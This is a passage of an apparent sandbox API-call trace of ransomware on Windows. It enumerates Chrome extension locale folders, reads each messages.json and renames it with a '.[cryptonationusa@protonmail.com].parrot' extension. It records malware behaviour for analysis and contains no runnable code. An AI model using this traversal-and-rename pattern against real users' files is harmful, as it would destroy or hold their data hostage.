Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.861] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.861] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e90580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e90580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.862] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827fab70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fd280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8e90580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.862] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.862] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.862] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8280e3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8280e3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.863] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.863] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.863] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8280e3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82821c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.865] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x444, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.865] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.865] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.867] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.867] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x32c, lpOverlapped=0x0) returned 1 [0072.868] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.868] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x444, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.868] CloseHandle (hObject=0x28c) returned 1 [0072.868] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.871] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.871] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8eb66e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8eb66e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.872] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8280e3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82821c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8eb66e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.872] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.873] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.873] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828306d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828306d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.873] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.873] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.873] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828306d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8283ca20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.873] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a1, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.873] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.873] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.874] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.875] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x289, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x289, lpOverlapped=0x0) returned 1 [0072.875] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.875] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.876] CloseHandle (hObject=0x28c) returned 1 [0072.876] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.879] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.879] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8eb66e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8eb66e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.880] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828306d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8283ca20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8eb66e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.880] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.880] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828529b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.880] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.880] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.880] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828529b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.881] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x563, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.881] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.881] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.883] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.883] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x44b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x44b, lpOverlapped=0x0) returned 1 [0072.883] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.884] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x563, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.884] CloseHandle (hObject=0x28c) returned 1 [0072.884] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.888] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.888] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8edc840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8edc840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828529b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8edc840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.889] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.889] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.889] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82866230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.889] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.889] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.889] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82866230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.889] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.890] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.890] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.891] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.891] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x28a, lpOverlapped=0x0) returned 1 [0072.892] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.892] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.892] CloseHandle (hObject=0x28c) returned 1 [0072.893] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.895] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.895] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8edc840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8edc840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.896] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82866230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8edc840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.896] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.897] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.897] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8286d760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.897] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.897] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.897] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8286d760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.898] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42d, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.898] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.898] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, 